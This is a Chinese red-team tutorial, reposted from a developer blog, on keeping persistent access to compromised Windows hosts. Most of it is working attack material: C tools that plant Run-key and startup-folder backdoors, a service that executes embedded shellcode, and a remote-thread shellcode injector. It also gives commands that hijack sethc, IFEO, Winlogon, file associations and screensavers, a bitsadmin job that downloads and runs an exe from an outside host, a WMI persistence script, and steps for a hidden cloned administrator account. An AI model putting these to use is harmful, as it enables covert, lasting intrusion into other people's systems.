来源 https://cloud.tencent.com/developer/article/1850726
0x01 前言
红队人员拿到一台主机权限后首先会考虑将该机器作为一个持久化的据点,种植一个具备持久化的后门,从而随时可以连接该被控机器进行深入渗透。通俗的说抓到一条鱼,不能轻易放走了。
0x02 辅助功能镜像劫持
为了使电脑更易于使用和访问,Windows 添加了一些辅助功能。这些功能可以在用户登录之前以组合键启动。根据这个特征,一些恶意软件无需登录到系统,通过远程桌面协议就可以执行恶意代码。
比如最常见的按5下shift出现的粘滞键Sethc.exe,还有Windows + U组合键时启动的utilman.exe程序
还有:
屏幕键盘:C:\Windows\System32\osk.exe 放大镜:C:\Windows\System32\Magnify.exe 旁白:C:\Windows\System32\Narrator.exe 显示切换器 C:\Windows\System32\DisplaySwitch.exe 应用切换器:C:\Windows\System32\AtBroker.exe
在较早的 Windows 版本,只需要进行简单的二进制文件替换,比如经典的shift后门是将C:\Windows\System32\sethc.exe替换为cmd.exe。
windows 2003,XP
可以可视化界面更换也可以命令行:
copy c:\windows\system32\sethc.ex c:\windows\system32\sethc1.exe copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe
更高版本
我们需要用到IFEO,即映像劫持
什么是IFEO
所谓的IFEO就是Image File Execution Options,直译过来就是映像劫持。它又被称为“重定向劫持”(Redirection Hijack),它和“映像劫持”(Image Hijack,或IFEO Hijack)只是称呼不同,实际上都是一样的技术手段。白话来讲就是做某个操作的时候被拦截下来,干了别的事。
当我们双击运行程序时,系统会查询该IFEO注册表,如果发现存在和该程序名称完全相同的子键,就查询对应子健中包含的“debugger”键值名,如果该参数不为空,系统则会把 Debugger 参数里指定的程序文件名作为用户试图启动的程序执行请求来处理。这样成功执行的是遭到“劫持”的虚假程序。
可视化修改
在iexplorer.exe中加入键值对:debugger c:\windows\system32\cmd.exe
命令行修改
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe" /v "Debugger" /t REG_SZ /d "c:\windows\system32\cmd.exe" /f
当然,需要管理员权限
0x03 启动项/服务后门
开始菜单启动项
开始菜单启动项,指示启动文件夹的位置,具体的位置是“开始”菜单中的“所有程序”-“启动”选项:
C:\Users\SD\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
相关键值
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
重启后自启
由于每台电脑的快速启动目录不同,可以代码实现
#include <iostream> #include <windows.h> #include <shlobj.h> #pragma comment(lib, "shell32.lib") BOOL AutoRun_Startup(CHAR* lpszSrcFilePath, CHAR* lpszDestFileName) { BOOL ret = false; CHAR szStartPath[MAX_PATH] = { 0 }; CHAR szDestFilePath[MAX_PATH] = { 0 }; //返回快速启动目录路径到szStartPath ret = ::SHGetSpecialFolderPathA(NULL, szStartPath,CSIDL_STARTUP,TRUE); //判断是否获取成功 if (ret == TRUE) { printf("[+]Get the quick start directory successfully!\n"); } else { printf("[!]Get the quick start directory faild!\n"); return FALSE; } //构造文件在快速启动目录下的路径 ::wsprintfA(szDestFilePath,"%s\\%s",szStartPath,lpszDestFileName); //复制文件到快速启动目录下 ret = ::CopyFileA(lpszSrcFilePath, szDestFilePath, FALSE); if (FALSE == ret) { printf("[!]Failed to save the file in the quick start directory.\n"); return FALSE; } else { printf("[!]Successfully to save the file in the quick start directory.\n"); } printf("[+]Backdoor generation in quick start directory successful!\n"); return TRUE; } int main(int argc, char* argv[]) { printf("[*]Useage:\n %s %s %s\n", "Run_StartUp.exe", "E:\\010Editor\\010 Editor\\010Editor.exe", "010Editor.exe"); if (argc == 3) { AutoRun_Startup(argv[1], argv[2]); } else { printf("[!]Please check the number of your parameters\n"); } }
启动项注册表后门
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
值得注意的是,HKEY_CURRENT_USER的改动不需要管理员权限
自己写的一个小工具
代码不多,也比较简单,还是分享出来:
#include <iostream> #include <windows.h> BOOL Reg_CurrentUser(const char* lpszFileName,const char* lpszValueName) { //定义一个注册表句柄 HKEY hKey; //打开注册表键 if (ERROR_SUCCESS == ::RegOpenKeyEx(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &hKey)) { printf("[+] Open RegKey Successfully\n"); } else { printf("[!] Open RegKey Error\n"); return FALSE; } if (ERROR_SUCCESS == ::RegSetValueExA(hKey, lpszValueName, 0, REG_SZ, (BYTE*)lpszFileName, (1 + ::lstrlenA(lpszFileName)))) { printf("[+] Set Value Successfully\n"); } else { ::RegCloseKey(hKey); printf("[!] Set Value Error\n"); return FALSE; } printf("[+] The registry backdoor about HKEY_CURRENT_USER is generated successfully\n"); ::RegCloseKey(hKey); return TRUE; } int main(int argc, char* argv[]) { printf("[*]Useage:\n %s %s %s\n","ModifyReg.exe","E:\\010Editor\\010 Editor\\010Editor.exe", "010Editor"); if (argc == 3) { Reg_CurrentUser(argv[1], argv[2]); } else { printf("[!]Please check the number of your parameters\n"); } }
而更改HKEY_LOCAL_MACHINE却是需要管理员权限
重启后exe会自启,不一定是cmd程序,可以换成我们自己的马,达到维持权限的效果
使用命令行
修改HKLM
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "123" /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f
同样需要管理员权限,代码跟上面差不多
HKEY_CURRENT_USER同理,但不需要管理员权限
自启动服务后门
在 Windows上还有一个重要的机制,也就是服务。服务程序通常默默的运行在后台,且拥有 SYSTEM 权限,非常适合用于后门持久化。我们可以将 EXE /DLL等可执行文件注册为服务实现后门持久化。
可以通过如下命令行方式添加一个服务
sc create "SD" binpath= "C:\Users\SD\Desktop\test.exe" sc description "SD" "description" 设置服务的描述字符串 sc config "SD" start= auto 设置这个服务为自动启动 net start "SD" 启动服务
也可以直接编写一个服务,穿插着shellcode上线
#include <windows.h> #include <iostream> unsigned char buf[] ="\xfc\xe8\x89\x00\x00...............................................\x36\x38\x2e\x31\x2e\x31\x30\x36\x00\x12\x34\x56\x78"; #define SLEEP_TIME 5000 /*间隔时间*/ #define LOGFILE "C:\\Windows\\log1.txt" /*信息输出文件*/ SERVICE_STATUS ServiceStatus; /*服务状态*/ SERVICE_STATUS_HANDLE hStatus; /*服务状态句柄*/ void ServiceMain(int argc, char** argv); void CtrlHandler(DWORD request); int InitService(); int main(int argc, CHAR* argv[]) { WCHAR WserviceName[] = TEXT("sddd"); SERVICE_TABLE_ENTRY ServiceTable[2]; ServiceTable[0].lpServiceName = WserviceName; ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain; ServiceTable[1].lpServiceName = NULL; ServiceTable[1].lpServiceProc = NULL; StartServiceCtrlDispatcher(ServiceTable); return 0; } int WriteToLog(const char* str) { FILE* pfile; fopen_s(&pfile, LOGFILE, "a+"); if (pfile == NULL) { return -1; } fprintf_s(pfile, "%s\n", str); fclose(pfile); return 0; } /*Service initialization*/ int InitService() { CHAR Message[] = "Monitoring started."; OutputDebugString(TEXT("Monitoring started.")); int result; result = WriteToLog(Message); return(result); } /*Control Handler*/ void CtrlHandler(DWORD request) { switch (request) { case SERVICE_CONTROL_STOP: WriteToLog("Monitoring stopped."); ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwCurrentState = SERVICE_STOPPED; SetServiceStatus(hStatus, &ServiceStatus); return; case SERVICE_CONTROL_SHUTDOWN: WriteToLog("Monitoring stopped."); ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwCurrentState = SERVICE_STOPPED; SetServiceStatus(hStatus, &ServiceStatus); return; default: break; } /* Report current status */ SetServiceStatus(hStatus, &ServiceStatus); return; } void ServiceMain(int argc, char** argv) { WCHAR WserviceName[] = TEXT("sddd"); int error; ServiceStatus.dwServiceType = SERVICE_WIN32; ServiceStatus.dwCurrentState = SERVICE_START_PENDING; /*在本例中只接受系统关机和停止服务两种控制命令*/ ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_SHUTDOWN | SERVICE_ACCEPT_STOP; ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwServiceSpecificExitCode = 0; ServiceStatus.dwCheckPoint = 0; ServiceStatus.dwWaitHint = 0; hStatus = ::RegisterServiceCtrlHandler( WserviceName, (LPHANDLER_FUNCTION)CtrlHandler); if (hStatus == (SERVICE_STATUS_HANDLE)0) { WriteToLog("RegisterServiceCtrlHandler failed"); return; } WriteToLog("RegisterServiceCtrlHandler success"); /* Initialize Service */ error = InitService(); if (error) { /* Initialization failed */ ServiceStatus.dwCurrentState = SERVICE_STOPPED; ServiceStatus.dwWin32ExitCode = -1; SetServiceStatus(hStatus, &ServiceStatus); return; } LPVOID Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(Memory, buf, sizeof(buf)); ((void(*)())Memory)(); /*向SCM 报告运行状态*/ ServiceStatus.dwCurrentState = SERVICE_RUNNING; SetServiceStatus(hStatus, &ServiceStatus); /*do something you want to do in this while loop*/ MEMORYSTATUS memstatus; while (ServiceStatus.dwCurrentState == SERVICE_RUNNING) { char buffer[16]; GlobalMemoryStatus(&memstatus); int availmb = memstatus.dwAvailPhys / 1024 / 1024; sprintf_s(buffer, 100, "available memory is %dMB", availmb); int result = WriteToLog(buffer); if (result) { ServiceStatus.dwCurrentState = SERVICE_STOPPED; ServiceStatus.dwWin32ExitCode = -1; SetServiceStatus(hStatus, &ServiceStatus); return; } Sleep(SLEEP_TIME); } WriteToLog("service stopped"); return; }
这其实也是psexec的原理:建立连接后创建服务反弹shell
删除服务:
sc delete "SD"
0x04 系统计划任务后门
Windows实现定时任务主要有schtasks与at二种方式:
At 适用于windows xp/2003,Schtasks适用于win7/2008或者以后
每五分钟执行一次
schtasks /create /sc minute /mo 5 /tn "sd" /tr C:\Windows\System32\cmd.exe
0x05 DLL劫持
DLL劫持漏洞之所以被称为漏洞,还要从负责加载DLL的系统API LoadLibrary 来看。熟悉Windows代 码的同学都知道,调⽤ LoadLibrary 时可以使⽤DLL的相对路径。这时,系统会按照特定的顺序搜索⼀ 些⽬录,以确定DLL的完整路径。根据MSDN⽂档的约定,在使⽤相对路径调⽤ LoadLibrary (同样适 ⽤于其他同类DLL LoadLibraryEx,ShellExecuteEx等)时,系统会依次从以下6个位置去查找所需要的 DLL⽂件(会根据SafeDllSearchMode配置⽽稍有不同)。
dll劫持就发⽣在系统按照顺序搜索这些特定⽬录时。只要⿊客能够将恶意的DLL放在优先于正常DLL所在的⽬录,就能够欺骗系统优先加载恶意DLL,来实现“劫持”。
在win7及win7以上系统增加了KnownDLLs保护,需要在如下注册表下添加dll才能顺利劫持:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\ExcludeFromKnownDlls
关于dll劫持的文章有很多,也需要去挖掘,这里推荐一篇文章入门,也是本人写的:https://www.cnblogs.com/punished/p/14715771.html
0x06 Winlogon用户登录初始化
winlogon.exe是windows中非常重要的进程,在用户还没登录系统之前就已经存在,并与密码验证相关的重要任务精密相关。例如,当在用户登录时,Winlogon 进程负责将用户配置文件加载到注册表中:
HKLM\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon\ HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\
对这些注册表项的恶意修改可能导致 Winlogon 加载和执行恶意 DLL 或可执行文件。
命令行:
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit" /t REG_SZ /d "C:\Windows\system32\cmd.exe," /f
可以powershell一句话更改
Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon" -name Userinit -value "C:\Windows\system32\userinit.exe,C:\Windows\system32\cmd.exe"
0x07 Logon Scripts后门
Windows登录脚本,当用户登录时触发,Logon Scripts能够优先于杀毒软件执行,绕过杀毒软件对敏感操作的拦截。
注册表位置:
HKEY_CURRENT_USER\Environment
增加键值对
0x08 文件关联
文件关联就是将一种类型的文件与一个可以打开它的程序建立起一种依存关系,一个文件可以与多个应用程序发生关联。可以利用文件的"打开方式"进行关联选择。
我们可以用assoc命令显示或修改文件扩展名关联,我们可以看一下.txt文件的关联。
用ftype命令显示或修改用在文件扩展名关联中的文件类型。
修改\HKEY_CLASS_ROOT\txtfile\shell\open\command的默认值为我们要执行的程序
修改注册表(管理员权限):
reg add "HKCR\txtfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "C:\Windows\system32\cmd.exe %1" /f
再打开txt文件打开的是cmd
0x09 Bitsadmin
Windows操作系统包含各种实用程序,系统管理员可以使用它们来执行各种任务。这些实用程序之一是后台智能传输服务(BITS),它可以促进文件到Web服务器(HTTP)和共享文件夹(SMB)的传输能力。Microsoft提供了一个名为“ bitsadmin ” 的二进制文件和PowerShell cmdlet,用于创建和管理文件传输。
window7以上自带
.\bitsadmin.exe /transfer backdoor /download /priority high "http://192.168.1.106/CM.EXE" C:\1.exe
将文件放入磁盘后,可以通过从“ bitsadmin ”实用程序执行以下命令来实现持久性。
bitsadmin /create backdoor bitsadmin /addfile backdoor "http://192.168.1.106/CM.EXE" "C:\1.exe" bitsadmin /SetNotifyCmdLine backdoorC:\1.exe NUL bitsadmin /SetMinRetryDelay "backdoor" 60 bitsadmin /resume backdoor
这里只是随便找了个exe测试,如果是c2的马的化可以直接上线
0x10 进程注入
之所以把注入也放到权限维持来说,因为注入更加隐蔽,尤其是拿到高权限后,难以被发现
如果是user权限可以考虑注入exploer.exe 如果是system权限则可以注入winlogon或者lassa
记一次实战中的注入,这里是我自己写的小工具
关于dll注入网上已经有很多教程,包括突破session 0,使用ZwCreateThreadEx创建一个线程
同样还有shellcode注入
一个demo
DWORD CeatRemoThread(DWORD pid) { HANDLE hThread; DWORD dwOldProtect; DWORD dwThreadId; int shellcode_size = sizeof(buf); //混淆 char* newBuf; decrypt(buf, shellcode_size, (LPVOID*)&newBuf); HANDLE hHandle = OpenProcess(PROCESS_ALL_ACCESS, false, pid); if (hHandle == NULL) { printf("openprocessError"); free(newBuf); return FALSE; } LPVOID Memory = VirtualAllocEx(hHandle, NULL, sizeof(newBuf) + 1, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); SIZE_T dwSize = 0; WriteProcessMemory(hHandle, Memory, newBuf, shellcode_size / 3, &dwSize); //Sleep(3000); VirtualProtectEx(hHandle, Memory, shellcode_size / 3, PAGE_EXECUTE, &dwOldProtect); HMODULE hNtdll = LoadLibrary(L"ntdll.dll"); if (hNtdll == NULL) { printf("[!] LoadNTdll Error,Error is:%d\n", GetLastError()); return FALSE; } else { printf("[*] Load ntdll.dll Successfully!\n"); } #ifdef _WIN64 typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateThreadFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID pUnkown ); #else typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, BOOL CreateSuspended, DWORD dwStackSize, DWORD dw1, DWORD dw2, LPVOID pUnkown ); #endif typedef_ZwCreateThreadEx ZwCreateThreadEx = NULL; ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdll, "ZwCreateThreadEx"); if (ZwCreateThreadEx == NULL) { printf("[!] Get ZwCreateThreadEx Address Error,Error is:%d\n", GetLastError()); return FALSE; } else { printf("[*] Get ZwCreateThreadEx Address Successfully! Address is %x\n", ZwCreateThreadEx); } HANDLE hRemoteThread = NULL; DWORD ZwRet = 0; ZwRet = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hHandle, (LPTHREAD_START_ROUTINE)Memory, NULL, 0, 0, 0, 0, NULL); if (hRemoteThread == NULL) { printf("[!] Creat RemoteThread Error,Error is:%d\n", GetLastError()); getchar(); VirtualFreeEx(hHandle, Memory, 0, MEM_RELEASE); CloseHandle(hHandle); FreeLibrary(hNtdll); return FALSE; } WaitForSingleObject(hRemoteThread, INFINITE); return TRUE; }
0x11 屏幕保护程序
利用前提:对方开启了屏幕保护
屏幕保护程序,当初的设计是为了防止长期屏幕的显示,预防老化与缩短屏幕显示器老化的一种保护程序。
在对方开启屏幕保护的情况下,我们可以修改屏保程序为我们的恶意程序从而达到后门持久化的目的,攻击者可以利用屏幕保护程序来隐藏shell,达到一定的权限维持。
注册表位置:
HKEY_CURRENT_USER\Control Panel\Desktop
命令行修改:
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /d C:\Windows\System32\cmd.exe
这里可以改成我们的马,达到维持权限的效果,具体时间为注册表的ScreenSaverTimeout值有关
0x12 WMI构造无文件后门
WMI是一项Windows管理技术,其全称是Windows Management Instrumentation,即Windows管理规范。大多数基于Windows的软件依赖于此服务。
无文件无进程使得他非常隐蔽成为后门,但由于他的隐蔽性现在被大多数杀软所查杀。
通过与Powershell命令配合使用可以实现无文件,具有良好的隐蔽性也是目前较为常用的持久化手段。
如果展开讲会讲很久,这里推荐一篇比较详细的文章:
https://wooyun.js.org/drops/WMI%20%E7%9A%84%E6%94%BB%E5%87%BB%EF%BC%8C%E9%98%B2%E5%BE%A1%E4%B8%8E%E5%8F%96%E8%AF%81%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E4%B9%8B%E6%94%BB%E5%87%BB%E7%AF%87.html
$filterName = 'SD' $consumerName = 'SDD' $exePath = 'C:\Windows\System32\cmd.exe' $Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >=200 AND TargetInstance.SystemUpTime < 320" $WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop $WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exePath} Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}
可以使用Autoruns进行查看
0x13 影子用户
影子用户即创建的隐藏用户,它无法通过普通命令进行查询,比较隐蔽。
这里以win10作为演示
们先利用命令创建一个隐藏用户,并将其加入本地管理员组。
net user test$ 123456 /add net localgroup administrators test$ /add
net user无法查看
但是可以在计算机管理和登陆页面中看到
解决办法:
打开注册表:
HKEY_LOCAL_MACHINE\SAM\SAM
修改权限:
修改完权限之后,我们重新启动注册表即可继续查看内容。
查看F值
导出这三个值
test$导出为1.reg
000003EC包含test$用户的F值,导出另存为2.reg 000003E9包含WIN10用户的F值,导出另存为3.reg
将2.reg中的F值替换为3.reg中的F值,即将test$用户的F值替换为WIN10用户的F值
删除test$
net user test$ /del
注册表就已经无法打开了
导入注册表
regedit /s 1.reg regedit /s 2.reg
查看效果
但登录界面已经没有账户
3389直接登录,以test$账号登录
但是登陆之后的身份却是原来WIN10用户,桌面也是原用户的,达到克隆效果。
总结
一边复现一边写,发现很多都需要权限,或者说如果有更高的权限能做的事更加的多,包括很多操作现在已经被各种终端设备监控,所以维权实际上是建立在免杀和提权之后的。我总结的可能不太全面,欢迎补充。
============= End